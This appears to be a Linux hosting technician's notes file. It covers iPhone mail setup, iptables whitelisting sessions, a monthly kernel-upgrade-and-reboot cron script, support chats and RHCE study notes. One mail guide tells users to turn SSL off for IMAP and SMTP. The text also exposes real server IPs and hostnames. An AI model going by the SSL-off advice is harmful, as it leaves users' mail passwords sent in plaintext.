11. There choose the iPhone inbox to see the downloaded messages.
12. and set 'ON' the SSL for iPhone 'Outgoing mail server' and will change the server port to be 465.
13. Save the changes and then go back to the main iPhone and check your mails.
For info you can refer the URL :
http://www.onlinehowto.net/Tutorials/iPhone/Setup-iPhone-mail-account-settings/1116
Please check and confirm the same at your end.
How To - Configuring an IMAP connection for your iPhone
Applies to: SmarterMail all version
This article will help you create a SmarterMail IMAP connection to an iPhone or iPhone 3G with Firmware 2.0.x.
1. On the iPhone, click the Settings button
2. Click Mail, Contacts, Calendars button
3.Click the Add Account button
4. Click Other
5. Fill out the Name, Address (email address), Password and Description Fields
6. Click Save
7. Make sure IMAP is selected
8. Enter your Incoming Mail Server information
* Hostname is generally mail.yourdomainname.com. If you aren't sure, contact your email hosting company
* Username is your full email address
* Password is the same password used to access webmail.
9. Enter your Outgoing Mail Server information
* Hostname is generally mail.yourdomainname.com. If you aren't sure, contact your email hosting company
* Username is your full email address
* Password is the same password used to access webmail.
10. Click Save
11. The iPhone will attempt to establish an SSL connection to your IMAP and SMTP servers.
12. If this fails, you will see a prompt "Do you want to try setting up the account without SSL."
* Click No.
* Click Save
* When prompted "This account may not be able to send or receive emails. Are you sure you want to save?", select Save.
13. Click the account you just added (identified by your email address)
14. Scroll down and click the SMTP button.
15. Select the server you just added, identified by the hostname from step 9a.
16. Select "OFF" for Use SSL.
17. Select "Password" for Authentication
18. Select "25" for Server Port.
19. Click the SMTP button to go back
20. Click your email address to go back
21. Click Advanced
22. Scroll down to Incoming Settings.
23. Select "OFF" for Use SSL
24. Select "Password" for Authentication
25. Select "143" for Server Port
26. Click your email address to go back
27. Click Mail to go back
28. Hit the Home button
29. Hit the Mail App to check your configuration
****************************************************************************************************************
https://docs.rice.edu/confluence/display/ITTUT/iPhone+Email+Configuration+(First+Time+Setup)
iPhone Email Setup
This guide is for users who are NOT using Mac Mail or Microsoft Outlook, since iTunes can sync your settings from these programs directly to the iPhone.
On the Home screen, click "Settings", Select "Mail", "Add Account...", "Other" IMAP
Fill in the first 3 fields with your name (this will appear in the "From" field of messages you send); the email address you send mail from (this can be your NetID or your full-name email address, whichever you want to be known as) and a label for what you want your account to be called on your iPhone (this won't affect your mail account in any way, it is just a label).
For the "Incoming Mail Server" section:
Under "Host Name" write imap.mail.rice.edu
Under "User Name", write your Rice NetID
Input your NetID password in the field provided
For the "Outgoing Mail Server" section:
Under "Host Name", write: smtp.mail.rice.edu
Under "User Name", write your Rice NetID
Input your NetID password in the field provided
Click "Save". It may give you an error message, but your settings should still work.Click "Advanced" and ensure that SSL is "ON" in both sections
iptables -A INPUT -s IP -j ACCEPT
iptables -nL | grep IP
service iptables save iptables -L -n |grep 115.248.197.138
to check whether the IP is blocked.dc IP adding
Hello,
We have added your IP in whitelist of our server firewall and add the iptables rule also. The commands we executed on the shell are as follows. Please check and let us know if we need to do something else also.
iptables -A INPUT -s 72.29.79.51 -j ACCEPT ; /sbin/service iptables save
csf -a 72.29.79.51
Regards,
Udele
root@oyster [~]# route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
67.23.226.130 0.0.0.0 255.255.255.255 UH 0 0 0 eth0
76.102.169.186 - 255.255.255.255 !H 0 - 0 -
67.23.226.131 0.0.0.0 255.255.255.255 UH 0 0 0 eth0
67.23.226.134 0.0.0.0 255.255.255.255 UH 0 0 0 eth0
67.23.226.135 0.0.0.0 255.255.255.255 UH 0 0 0 eth0
67.23.226.132 0.0.0.0 255.255.255.255 UH 0 0 0 eth0
67.23.226.133 0.0.0.0 255.255.255.255 UH 0 0 0 eth0
72.29.95.172 - 255.255.255.255 !H 0 - 0 -
67.23.226.138 0.0.0.0 255.255.255.255 UH 0 0 0 eth0
67.23.226.136 0.0.0.0 255.255.255.255 UH 0 0 0 eth0
67.23.226.137 0.0.0.0 255.255.255.255 UH 0 0 0 eth0
67.23.226.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0
169.254.0.0 0.0.0.0 255.255.0.0 U 0 0 0 eth0
0.0.0.0 67.23.226.1 0.0.0.0 UG 0 0 0 eth0
root@oyster [~]# ip route del 72.29.95.172
root@oyster [~]# ip route del 76.102.169.186
root@oyster [~]# iptables -nL | grep 76.102.169.186
root@oyster [~]# iptables -nL | grep 72.29.95.172
all -- 72.29.95.172 0.0.0.0/0
DROP all -- 72.29.95.172 0.0.0.0/0
ACCEPT all -- 72.29.95.172 0.0.0.0/0
ACCEPT all -- 0.0.0.0/0 72.29.95.172
root@oyster [~]# csf -a 72.29.95.172
add failed: 72.29.95.172 is in already in the allow file /etc/csf/csf.allow
root@oyster [~]# vim /etc/sysconfig/iptables
root@oyster [~]# /etc/init.d/iptables save
Saving firewall rules to /etc/sysconfig/iptables: [ OK ]
root@oyster [~]# /etc/init.d/iptables restart
Flushing firewall rules: [ OK ]
Setting chains to policy ACCEPT: mangle filter [ OK ]
Unloading iptables modules: [ OK ]
Applying iptables firewall rules:
When the server is able to WHM but not able to ssh and ssh restart failed, then
from WHM >> ConfigServer Security & Firewall >> disable firewall >> then try to ssh
and run following commands
root@fast [~]# iptables -A INPUT -s 124.124.124.118 -j ACCEPT
root@fast [~]# iptables -A OUTPUT -s 124.124.124.118 -j ACCEPT
Once ip gets added , save the iptables with the commands below :
/etc/init.d/iptables save
to list added IP's run the command >>
iptables -L
now from shell
csf -e
this will enables the firewall or from WHM run >> firewall enable.
************************************************************************
bellow command will descripbe all the options with the iptables
man iptables
how to save iptables
/etc/init.d/iptables save
/etc/init.d/iptables save
/etc/init.d/iptables stop
Flushing firewall rules: [ OK ]
Setting chains to policy ACCEPT: filter [ OK ]
Unloading iptables modules: [ OK ]
/etc/sysconfig/iptables:
this is the path for iptables
***************************************************************************************
http://www.linuxforums.org/forum/linux-security/25051-how-save-iptables.htmlYou are on a an ISP that blocks their users from using any SMTP server other than their own. Your solution is as follows:
1. To setup your ISP's SMTP servers for your outgoing email, you must click on your account settings in the email client you are using.
2. In the SMTP (outgoing mail server) field, you will enter the SMTP server address for your ISP, such as smtp.yourisp.com. You must then enter the username and password for your ISPs mail server. For a list of ISPs and their SMTP server address, please click here.
3. In Outlook Express, this is at the bottom of that same tab. You must uncheck My server requires authentication and click on Settings to enter the username and password for your ISP.
Your email will still be from your own domain name, the only difference is in the way it is routed throughout the internet. Instead of being sent through our servers, it is processed through your ISP. This allows your ISP to monitor your email in case of a spam complaint.Joomla passwprd reset script
http://www.crushedge.com/content/scripts/joomla-administrator-password-reset-script
Virtumart error from joomla for mails:
"Warning: Could not send a message to" when notify after changing order status
My problem is that I receive the following error message if I want to notify customers when I change their order status :
Warning: Could not send a message to username, name@emaill.com ()
Cehck the URL : http://forum.virtuemart.net/index.php?topic=34555.msg118383
Problem : I'm using Joomla 1.0.13 with VirtueMart 1.0.13a
My Joomla mail system is setup with smtp and is working fine (I can send successfully massmailing through the joomla admin)
What can I do to solve that problem ?
The solution has maybe even been explained but I can't find the topic...
Many thanks for your help, this problem is blocking for me.
Solution :
The SOLUTION is to
Change the Mail Format from HTML to TEXT, there's probably a bug in the HTML email variant of the code...
To make the Change, log into the back-end..means into joomla admin area
Choose Virtuemart.
Next Click on Admin / Configuration
Scroll to the bottom of the Global Tab.
Change Order-mail format: to Text Mail
Test by changing status and notifying a customer order..
Be Sure the Global MAil configuration is set to phpMail()
How to Change Global MAil configuration to phpMail()
Go to Home >> Global confoguration >> mail >> set mailer to PHP mail functionBroadcast message from root (Tue Sep 21 23:31:26 2010):
SERVER is REBOOTED as KERNEL is UPGRADED
Broadcast message from root (Tue Sep 21 23:31:26 2010):
SERVER is REBOOTED as KERNEL is UPGRADED
Broadcast message from root (Tue Sep 21 23:31:26 2010):
The system is going down for reboot NOW!
Using username "3gteam".
3gteam@chief.site.com's password:
Last login: Wed Sep 22 01:04:00 2010 from 115.248.197.138
cpanel backups are pushing to the new /backup drive attached to this server.
DO NOT INTERRUPT THE BACKUP PROCESS.
-- HD NOC, 8/11/10
3gteam@chief [~]# su -
Password:
root@chief [~]# pico ~3gteam/kscript
root@chief [~]# pico /var/spool/cron/root
root@chief [~]# 0 0 1 * * /home/3gteam/kscript > /dev/null 2>&1
root@chief [~]# /etc/init.d/crond restart
Stopping crond: [ OK ]
Starting crond: [ OK ]
root@chief [~]# uname -r
2.6.18-194.11.4.el5
root@chief [~]# uname -m
SERVER is REBOOTED as KERNEL is UPGRADED
Broadcast message from root (pts/1) (Wed Sep 22 04:20:36 2010):
SERVER is REBOOTED as KERNEL is UPGRADED
Broadcast message from root (pts/1) (Wed Sep 22 04:20:36 2010):
SERVER is REBOOTED as KERNEL is UPGRADED
Broadcast message from root (pts/1) (Wed Sep 22 04:20:36 2010):
SERVER is REBOOTED as KERNEL is UPGRADED
Broadcast message from root (pts/1) (Wed Sep 22 04:20:36 2010):
The system is going down for reboot NOW!
Using username "3gteam".
3gteam@excel.nseasy.com's password:
Last login: Wed Sep 22 04:24:16 2010 from 115.248.197.138
3gteam@excel [~]# su -
Password:
root@excel [~]# uname -r
2.6.18-194.11.4.el5
root@excel [~]# uname -m
i686
root@excel [~]#
i686
root@chief [~]# pico ~3gteam/kscript
root@chief [~]#
How to upgrade kernel on linux?
Guys,
I referred the following steps :
============================
1. cd /usr/local/src
2. wget http://www.kernel.org/pub/linux/kernel/v2.6/linux-x.y.z.tar.bz2 //replace the version that you want to install or check it at http://www.kernel.org/
3. tar -xjvf linux-2.6.35.4.tar.bz2 -C /usr/src
4. cd /usr/src/linux-2.6.35.4
5. make menuconfig //if gcc is not there just install it like : yum install gcc
Note : You can enable various option here. But make it sure that you have enabled kernel config option. Go to General option >> Kernel .config support(enter space) and exit. (save the changes). make oldconfig > Use when upgrading kernel, only asks if new options.
6. make
7. make modules
8. make modules_install
Note(Do the following) : # ln -s /usr/src/linux-2.6.35.4 /usr/src/linux
# ln -s /usr/src/linux-2.6.35.4 /usr/src/linux-2.6
9. make install
Note : It will install three files inside the /boot directory :
* System.map-2.6.35.4
* config-2.6.35.4
* vmlinuz-2.6.35.4 and vmlinuz will point here.
example(For my case):
----------
root@server [/usr/src/linux-2.6.35.4]# make install
sh /usr/src/linux-2.6.35.4/arch/x86/boot/install.sh 2.6.35.4
arch/x86/boot/bzImage \
System.map "/boot"
root@server [/usr/src/linux-2.6.35.4]#
root@server [/boot]# ll |grep 2.6.35.4
-rw------- 1 root root 2586318 Sep 3 18:00 initrd-2.6.35.4.img
lrwxrwxrwx 1 root root 25 Sep 3 18:00 System.map ->
/boot/System.map-2.6.35.4
-rw-r--r-- 1 root root 1360605 Sep 3 18:00 System.map-2.6.35.4
lrwxrwxrwx 1 root root 22 Sep 3 18:00 vmlinuz -> /boot/vmlinuz-2.6.35.4
-rw-r--r-- 1 root root 2653408 Sep 3 18:00 vmlinuz-2.6.35.4
root@server [/boot]
Make sure System.map and vmlinuz are pointing to latest kernel else point them like :
ln -s /boot/System.map-2.6.28 /boot/System.map
ln -s /boot/vmlinuz-2.6.35.4 /boot/vmlinuz
-----------
10. cd /boot
11. mkinitrd initrd.img-2.6.35.4 2.6.35.4 //You may not be needed this step. For me it has automatically created. This is creation of RAM driver.
Example for my case :
------------
root@server [/boot]# mkinitrd initrd-2.6.35.4.img 2.6.35.4
initrd-2.6.35.4.img already exists.
root@server [/boot]#
------------
12. vi /boot/grub/menu.lst or /etc/grub.conf : //For me the entries has automatically put in this file like :
------------
root@server [/usr/src/linux-2.6.35.4]# cat /etc/grub.conf
# grub.conf generated by anaconda
#
# Note that you do not have to rerun grub after making changes to this file
# NOTICE: You have a /boot partition. This means that
# all kernel and initrd paths are relative to /boot/, eg.
# root (hd0,0)
# kernel /vmlinuz-version ro root=/dev/hda3
# initrd /initrd-version.img
#boot=/dev/hda
default=1
timeout=5
splashimage=(hd0,0)/grub/splash.xpm.gz
hiddenmenu
title CentOS (2.6.35.4)
root (hd0,0)
kernel /vmlinuz-2.6.35.4 ro root=/dev/hda3
initrd /initrd-2.6.35.4.img
title CentOS (2.6.18-194.8.1.el5)
root (hd0,0)
kernel /vmlinuz-2.6.18-194.8.1.el5 ro root=/dev/hda3
initrd /initrd-2.6.18-194.8.1.el5.img
title CentOS (2.6.18-128.el5)
root (hd0,0)
kernel /vmlinuz-2.6.18-128.el5 ro root=/dev/hda3
initrd /initrd-2.6.18-128.el5.img
root@server [/usr/src/linux-2.6.35.4]#
------------
13. reboot //enter this command at the konsole.
14. Check the server whether it comes online and check uname -r //If it does not come please contact DC to load the server from old kernel and sort the problem.
==============================
That's it. Try :)
HOST=$(/bin/hostname)
/usr/bin/yum upgrade kernel -y
LATEST=$(/bin/rpm -q kernel |tail -n1|sed -e 's/kernel-//')
CURRENT=$(/bin/uname -r)
if [ $LATEST == $CURRENT ]
then
echo ""
else
printf "
Hello,
Latest kernel on server $HOST is INSTALLED.
To set that kernel as current kernel, server $HOST is being rebooted now.
Please check server till it comes online.
Thanks,
Support Team
--------------------------------------------------------
" | mail -s "Kernel Upgraded on $HOST" kernel@minmaxgroup.com
/usr/bin/wall "SERVER is REBOOTED as KERNEL is UPGRADED"
/usr/bin/wall "SERVER is REBOOTED as KERNEL is UPGRADED"
/usr/bin/wall "SERVER is REBOOTED as KERNEL is UPGRADED"
/usr/bin/wall "SERVER is REBOOTED as KERNEL is UPGRADED"
/sbin/shutdown -rf now
fi
******************************************************************************************************
How to set it up this script on server ?
SSH to server
1. cd ~3gteam
2. Create new file with the file name : pico kscript
3. Paste above whole script in the file.
4. exit and save the changes and make 755 permissions to that file
chmod 755 kscript
5. now open the root cron file
pico /var/spool/cron/root
and add the cron command like at the bottom :
0 0 1 * * /home/3gteam/kscript > /dev/null 2>&1
save the changes and exit.
6. ll /home/3gteam/kscript
-rwxr-xr-x 1 root root 1475 Mar 14 04:10 /home/3gteam/kscript*
this is to confirm the path for the script.
7. and finally restart the cron service from the server.
/etc/init.d/crond restart
Cron have set to run the script in a month once from each server.
*************************************************************************************************
run the kscript manually on 1st and second page servers for kernel upgrade
[10:32:36 AM] vulgar: and any errors for upgrade place ticket to dc
[10:32:53 AM] APS6: how to run ?
[10:33:02 AM] vulgar: cd /home/3gteam
[10:33:05 AM] vulgar: and ./kscript
[10:33:17 AM] APS6: thanx :)
*********************************************************
[1:08:25 PM] bluffer: ok
[1:17:07 PM] bluffer: On ghostso after upgrading kernel, Run the following
[1:17:11 PM] bluffer: uname -m
[1:17:19 PM] bluffer: if the result is :
[1:17:23 PM] bluffer: uname -m
x86_64
[1:17:39 PM] bluffer: i mean only "x86_64 "
[1:17:50 PM] bluffer: then you need to do one thing.
[1:18:09 PM] bluffer: run the following command
[1:18:14 PM] bluffer: "echo ':32bits:M::\x7fELF\x01::/bin/echo:' > /proc/sys/fs/binfmt_misc/register"
[1:18:40 PM] bluffer: getting it ?
[1:26:39 PM] bluffer: if you find 64 bit server
[1:26:47 PM] bluffer: run that command
[1:26:52 PM] bluffer: login to WHM
[1:27:14 PM] bluffer: check if any other user has normal shell
[1:27:31 PM] bluffer: if yes then make it jailed shell
Universal Word - Hindi Lexicon
English to Hindi: Version 3.1
http://www.cfilt.iitb.ac.in/~hdict/webinterface_user/dict_search_user.php
*****************************************************************************
http://www.shabdkosh.com/language convertor
http://translate.google.com/#cat /var/log/lfd.log |grep 81.131.108.80Linux interview question.
1. what is ddos attack and how to prevent?
2. What is file system?
3. What is IP spoofing?
4. Port Numbers.
5. How to work FTP and what is use of port 20 and 21?
6. What is kernerl?
7. How many tables in iptables?
8. What are shell variables?
9. What is 'inode'?
10. What are the main differences between RHEL4 & RHEL5?
11. What is difference between imap and pop?
12. Describe linux boot sequence:
13. What different between port and protocols?
14. What is the difference between UDP and TCP internet protocols?
15. What is a zombie process?
16. What is difference between daemon and process?
17. Logs location.
18. difference between unix and linux?
19. What are the main differences between RHEL4 & RHEL5?
20. What are seven fields in the /etc/passwd file?
21. What is a filesystem?
22. What command is used to remove the password assigned to a group?
23. Which of the following commands will show a list of the files in your home directory including hidden files and the contents of all subdirectories?
24. Which file defines all users on your system?
25. What is the minimum number of partitions you need to install Linux?
26. What is a PID?
27. Difference between Hard Link and Soft Link in Linux?
28. What is Raid? The different types and Levels of Raid?
29. What is NFS? What is its purpose?
30. What does nslookup do?
31. What is .htaccess?
32. How many field in crontab?
33. Which log contains information on currently logged in users?
34. What is DNS?
35. How do you create a swapfile?
36. How to get the mysqlbackup and restore?
37. Where is located hardware configuration file in linux?
38. Whats the advantage of using ssh over telnet?
39. How to assign temporary IP address to lan-card?
40. How to recover grub on linux server?
41. How to setup log rotation on linux server?
42. How to see only sub-directory in directory?
43. How to see only files in directory?
44. How to replace the word without opening the file?
RH 033 --
REDHAT ENTERPRISE LINUX ESSENTIALS
* BASIC COMMANDS:
* BASIC COMMAND PROMPT
# date --> it’s displayed u a date with time
# cal 09 1990 --> it’s displayed u calendar of month which u want.
# cal 2010 --> to displayed to u year calendar
Shift + page up & page down --> pages will be up and down
Passwd change ‘
Virtual console of linux
Ctrl + alt + f2 --> second virtual console
Ctrl + alt + f1--------- f6 they are virtual login
Ctrl + alt + f7 --> starting GUI (graphical user interface)
F1 to f6 are CLI ( command line interface )
Ctrl + f1 active Redhat
# clear :-- it is clear the screen
# exit :-- it is use to # logout
INTRODUCTION :-
Unix – history
1st version -- bell lab
Ken Thomson & Denies Ritchie
Unix principle : --
1) every thing is a file
2) configuration file text format
3) single small purpose programme .
4) all prog’s can be changed .
* linux :-- 1991 linus journals
features :--
1) multitasking
2) multi user
3) wide hardware support
4) login : two types
i) text based:-- virtual console ( 6 types )
ii) graphical based:-
alt +clt +f1 1st virtual console
to
alt+clt+f6 6th virtual console
login : root
password : redhat
command :--
# date date +% any character A to Z
# cal 1 year
Scroll --> shift + pageup or pgdown
Ex. # cal 06 1983
# clear
# start x
Start button in window = application in linux
Trash = r.b ( w )
Computer ( l ) = any computer ( w)
Root home ( 2) = my document (w)
# passwd --> to change password
# exit --> logout
# ctrl + alt --> back space FUI to VC
* R.H.C.E *
3 modules
RH - 033 RH -133 RH - 253
Linux essential linux sys administrator Network administrator
Basic utilities installation n/w config different server
Tools of command 11 units --> 32 hours conf sys 11- unit 32-hour
18 unit & 32 hours
* 9. vim : advanced editor
Vi : visual editor
Vim-vim—improved
Command mode vi : 3 modes
1. common mode
2. insert mode
3. exit mode – exit editor
starting vi editor
# vi /vim filename
Esc+I :-- insert test
Esc+wq! :- it is used for writing & quiting
Esc+w! :- only write but does not exit
Esc+q! :- only quit
Esc+shift+o :-- add a blank line
Esc + o :-- add a blank line below current line
Esc + a :-- append after elevent apphabate .
Esc + h :-- 1 alphabet back
Esc+ j :-- 1 line below
Esc + <k :- 1 line above
Esc + l :- 1 alphabet forward
Esc + w :-- switches in next word
Esc +b :--
Delete a line
Esc dd :--to delete the line
Esc cc :-- replace the line
Esc yy :-- for copies line
Esc p :-- for the pest the line
Esc cl :-- replace 1 alpha / character
Esc dl :-- to delete a letter
Esccw :-- replace word
Esc u :-- undo the current action
Esc : senonu :-- cancelled the line num
Esc : set number:-- set number of our para
esc : se nu:--
root :- it is the name of user
# :-- start u’r command from
Ctrl+alt + back space
4. getting help in linux:--
level of help :--
i) wha is <command > e.g --> cal
ii) <command> --help e.g cal –help
iii) E.g # man cal [it shows u manual ]
Manual selection : & sections
1) user command
2) system cal
3) library
4) special files
5) file formats
6) games
7) miscellaneous
8) administrator command
5. info <command> (detail)
# Make what is (use before what is )
Q – quite man page
# useradd bob (any name of)
# passwd bob (any name passwd)
# ls – to show list of files & properties
(GMT –green which mean time)
* how to configure a panel :-
right click on panel (taskbar)
* how to configure control panel :--
* system--> preferences --> choos any
* change password :-- system--> pref –ablout me
8th aug 2007
* browsing the file system :--
/ (root of the linux file system)
/root /etc
* commands:--
1) # pwd --> print working directory
2) # cd <dirname> --changing dir
In directory of files .. colour of files –
* white --> normal /text file --> user file
* Red --> special file --> for special function
* Green --> executable file .exe
* Blue --> directory
3) # cd - --> switch back previous dir
4) # cd --> switch back to home dir
5) # cd.. --> switch to home dir
* creating a directory:--
# mkdir <dir name > (to make a dir which any u want)
# rm <dir name> (to remove empty dir)
* option to remove dir :--
-- I --> interactive
-- r --> recursive
-- f --> forcefully
* to remove all contains of dir:-
# rm - rf abc <dir name>
:less :-- show less dir list
# ls –l | less
* creating empty files :--
# touch a , b , c
* to file with containt
# cat > filename
Ctrl + D --> to save the file
* to see the containt with file
# cat filename
* to create a combination file :-
# touch {jan,feb,mar} {11,22,33}
Combination character string
* to remove file :--
# rm –I jan_11 /rm_r_filename
C press y-yes or n-no
# rm r jan 22
# fi kap
* types of ls
* # ls –l --> show long listing of containt
* # ls -a --> to see hidden file
* # ls –lh --> view long listing in human readable fashion.
9th aug 2007
* user group & permission :--
organization—(companies)
depts.--> pag elect makt
x y z p q r
linux
UID bob student
* less /etc/passwd ( user database information)
1. user 5. extra information
2. password files 6. home dir of user
3. UID co. 7. login shell
4. GID
* grub database info is stored in
# cat /etc/groupfile
1) group name
2) group passwd
3) GID of groups
4) Diff user of group.
* password database info is stored in :--
first two column:--
1)- user name
2) encrypted passwd
* permission :-- 10 columns in permission 3 types of permission
1) r --> red permission
2) w --> white permission
3) x --> execute permission
c formats:
1 2 3 4 5 6 7 8 9 10
D r w x r w x r w x
4 2 1
Dir user group other
U G O
* types of permission
1) symbolic --> r,w,x
#chmod g + w “tm”
# chmod u-x, g-x, 0-x “tm”
2) numerical :-- have same values
R = 4
W = 2
X = 1
e.g :-
* to change permission numerically :--
# chmod 660 “filename”
To change into # chmod 440 “file name”
* Changing into ownership :--
To change user --
Command :
1) # chown –R bob – “filename”.
2) # chgrp -R student “filename”.
# chown bob:bob x
For * # less /etc/shadow
Passwd database information stored in this file.
13th aug 2008
* Searching a string
1) esc: /this <text>
esc : this --> removing the highlight
2) esc : nohl
3) replacing the particular string
Esc : 1,$ s /-------/------/ g
4) replacing a particular string in specific line
esc:1,2 s /this/This/ g
* transferring 1 file to another file
# vi file 1
# vi file 2
S-1)-- # file1
S-2) # esc:rfile2 : copy all content file 1 to file2
* Set an indent
Esc: set auto indent : mark an indent same as previously
Esc: set ai
* remove indent
* esc: set no auto indent
* esc: se noai
set text wrap
esc: set textwrap = 70
esc : set textwrap = 0 to turn off text wrap
7)setting a srap margin-
esc: set wrapmargin = 70
esc : set wrapmargine = 0
* opening a two window in Vim
# vim –o file1 file2
To move one window to 2nd window
Ctrl+w+ ( at a time up down arrow)
Ctrl+w+v
Ctrl+w
* to open 2 window in vi:-
* s-1 # vi file1
* s-2 # esc:n texttry
* to switch between the 2 windows esc:n#
* inserting date/any command at current cursor position
* esc: r <space> ! date
--- --- --- --- --- - ls –l
esc: 1,2w <space >> filen
* to perform any task without quit
esc : ! <any command>
esc: 1,2w >> texttry—
esc : 50 % switch to half of file
esc : 100 % switches end of file
esc : 1 % switches to start of file
* to deleting a sentence
1) forward
c) : replace the next sentences
d) : delete
y) : yank/copy
c( : replace the sentence before
d( : delete
y( : yank/copy
* deleting a paragraph
c{ --> replace the para after current para
d{ --> delete the para after current para
y{ --> the para after current para
c{ --> replace the para current para
d{ --> delete the para current para
y{ --> yank/copy the para current para
* using the bash shell :--
# bash shell ( bourn again shell)
s.h. bourn shell
C shell (csh)
Enhance c shell (tesh)
* command line shortcut
* 1) * is 1st globing character
* - 0 or any instance of any character
[ 0 - 9] any no 0 – 9 (between)
2) ? single instance of any character
3) [ a b c] – excluding char’s from parenthesis
# Ls l [a b c]
4) [a b c] – excluding char’s from parenthesis
* using a tab key
u can use any command with pressing tab
.
* editing command line
ctrl + a -- moves to start of command
ctrl + e -- moves to end of command
ctrl + k -- deleting a place w here u want to erase
ctrl +u -- to deleting a previous .
* for GUI terminal
1) ctrl + shift + T --> opens a new terminal in GUI
2) ctrl+ shift+ pgup --> shifting a terminal
3) ctrl + shift + pgdown --> switch u’r terminal backward.
4) ctrl+ shift+ c --> copy copy a command
Ctrl + shift +v --> paste a command which terminal u want.
* # history --> it will be show u the command displayed the list of it
* --> to run a command from history
# ! -- any no. in history page .
# !! -- repeats the last command
# ! l -- execute the command from l
# ! c – execute a command from starting with c
# !-10 run a command 10 step back
$ is use to display a variable value
Ex: # x = 10
--> echo $x --> show 10
# ! magical shebang sequence
For shell script to execute to following
S-1 : in vi make a file with extension as .sh
S-2 : # ! /bin/bash 1st line of script
S-3 : write u’r programme
S-4 : :wq!
S -5 : chmod u+x <filename >.sh
S-6 : # ./ <filename> .sh
e.g
#!/bin/bash
This programme displayed date
Echo “the date is $ (date)”
X=10
Echo $x
:wq!
# chmod u+x testing.sh
# ./testing.sh
# cp file1 x ~ /xyz
# cd xyz
# ls –l ‘a>-->
20th aug 2007
Chapter—7 standard input output and pipes
* standard default :--
1) standard input (STDIN) keyboard by default
file descriptor NO: 0
2) standard output (STDOUT) :-- terminal windows y default
file descriptor NO:1
3) standard error (STDERR) :-- terminal window by default
file descriptor NO:2
* redirection --> use of file instead of default
redirection operator :--
1) command --> filename : send STDOUT to file name
# ls –l > list
2) command >> filename
3) command 2> filename :- it only hakes the error
sends a standard error to a file
4) command 2>> filename :-- appends a STDERR to file
5) command <file :--
# ls –l </etc/passwd
* for non root users :--
1) # find /etc/-- filename passwd
2) # find /etc/-- filename passwd > out
e.g # cat out
3) # find /etc/ filename passwd >> out
#* $ tr ‘ a-z ’ ‘A -Z’ (tr=translate )
* sending STDOUT to programme
user of pipes ( | )
1) less command 1 | less
e.g # ls –l | less
2) mail
Ls –l | mail –s “list ” bob@ station2.example.com
( * mail : viewing mail )
3) lpr :-- printing)
# s –l | lpr
# find /etc/ name passwd 2>> dev/null
* combining STDOUT & STDERR
&> : reduce STDOUT & STDERR
# find > etc – name passed &> find out
2> &1 : redirector STDERR to STDOUT via pipe
# Cal 2007 ; cal 2008 | lpr
--> this for combining two command
e.g # for name in bob student
> do
> ADD = “$name @ station2.example.com
>MESSG = “CALL URGENT”
> echo $ MESSG | mail –s “ call ” $ ada
> done
* redirecting STDIN
mail –s “x y z” root@server2.example.com
21st aug 2008
UNIT – 8 TEXT PROCESSING TOOLS:-
Tee - it allows to run multiple command at a time
# command 1| tee f1 command | tee file2
# ls –l | tee f1| cat file | teef2
1) # head : starting line of files by default it shows 1st 10 lines
# head /etc/passwd
# head -n - 20 /etc/passwd
2) # tail : it’s shows bottom 10 line of file by default 10
# tail –n -15 /etc/passwd
/var/log/message
# tail -f /var/log/message
-f --. Follow the file
Ctrl + c
* finding particular string :-
# grep : general regular expression process
# grep ‘bob’ /etc/passwd
# grep –n ‘bob’ /etc/passwd
# grep -v ‘bob’ /etc/passwd
* wc : word count
# wc xyz : count no of character no of lines & no of word .
# wc - w xyz -- count word
- c xyz -- count character
- l xyz -- count line
# cut : for cutting particular char .
# cut -d : f1 /etc/passwd
# cut -d : f1 , 3 /etc/passwd
# cut -d : f -5 /etc/passwd
* sort
# sort -t : k3 /etc/passwd (alphabetically)
# sort -t : -k3 /etc/passwd
# sort -t : k-3 -n –r /etc/passwd (numerically)
* aspell :-- check for spelling mistake in its fiel
# cat > file
# aspell check file
* look :-- looks for particular word from directory
# look exer
* uniq :-- single / duplicator instance
e.g uniq - c file1
uniq :-- count the number of unique & duplicator lines
# uniq -d cats :-- find the instance of duplicate line
# uniq -u cats :- single instance of line
* diff :-- it’s allow to find different
# diff cats pets
e.g. # different xyz conf station2 xyz.conf –station3
* create 2 file with cat command
# paste -d : file file2
* sed :- stream editors
# sed ‘$/cats/pets/g’ cats
# sed ‘1,2 r /cats/pets/g’ cats
# sed -e ‘s/cats/pets/g’ -e
S /dogs/cows/g’ cats
# exec ls
# PID -- process ID
# tty --
1 2 3 4 5 6
Tty0 tty1 tty3 tty4 tty5 tty6
? – process in running but its not visible
S – sleeping process can be wakeup by particular command
Ss -- swap space
Ss + -- running into swap space
R + -- running
* signals : -- it is information passed to process by issuing command
# signals can be verified on the basic of name & number
No NAME function
1) signals 15 TERM terminal killing
2) 9. KILL terminal immediately
3) 1 HUP re.organize.conf fine
* termination of process
* PID - kill <any no of PID> 3429
* Command – kill -- 9 (ps -U)
# KILL -9 [pid no.]
# kill -9 process id is 3412
* setting priority :-
priority has value between 20 to 19 by default 0
- 20 it is highest priority
19 is a lowest priority
# nice -n -20 ls (before process running)
# top :
# renice -9 –p 4343 PID (after process running)
# ps –o command which are running
* bg & fq background & four ground process
(bg % 1 , - fa)
# jobs:
* schedual task :-
# at 1300
> ls -l
> cal
ctrl +d
# at -l shows the list of schedule task
# atq
# at Thursday 1800
* removing schedule
atrm -: remove all the jobs
# cronetab –e
0-59 0-23 0-31 1-12 0-6
# min hour dom month dow ( command ls -l)
0 4 10 2 0,1
:wq!
Equal not equal
# test “sx” = “$y” && echo “------” // echo “----”
22nd aug 2007
/root/.bash_history
9. configuring the bash shell :-
Variables
System variable user define variable
(caps) generally in | case | |
Local environmental
Set | less env| less
# echo # HISTFILESIZE -100
# echo # HISTFILE
#echo $ lines {25}
#echo $ columns 80
#echo $ EUID 0
#echo $ HOME /root
#echo $ USER
#echo $ HostName --> server1.example.com
#echo $LANG --> en_us.VTF -8
#echo $ path
#echo $ PS 1 prompt screen 1
\u@ \h \w \$
PS 1 = “REDHAT LINUX------>”
PS 1 = “REDHAT LINUX------> \d”
PS 1 = “REDHAT LINUX------> \d\u”
PS 1 = “REDHAT LINUX------>\d \u \h”
PS 1 = “REDHAT LINUX------> \d\u\h\w”
Set | less
* alias : -- for printing the particular key command in
# alias l = “ls -l”
# unalias l
(~) home directory
* bash shell running commands :--
1. it breaks line into word
2. expands aliases
3. expands { }
4. expands ~ tilde
5. expands $
6. expands command var . $ ( )
7.
8. expand blogs * ? [ a,b,c]
9. find out redire ton I/O path
# which date
2 types of SHELL
---------------------------
Boot itself login shell no login shell after giving
Particular command
# vi /etc/profile
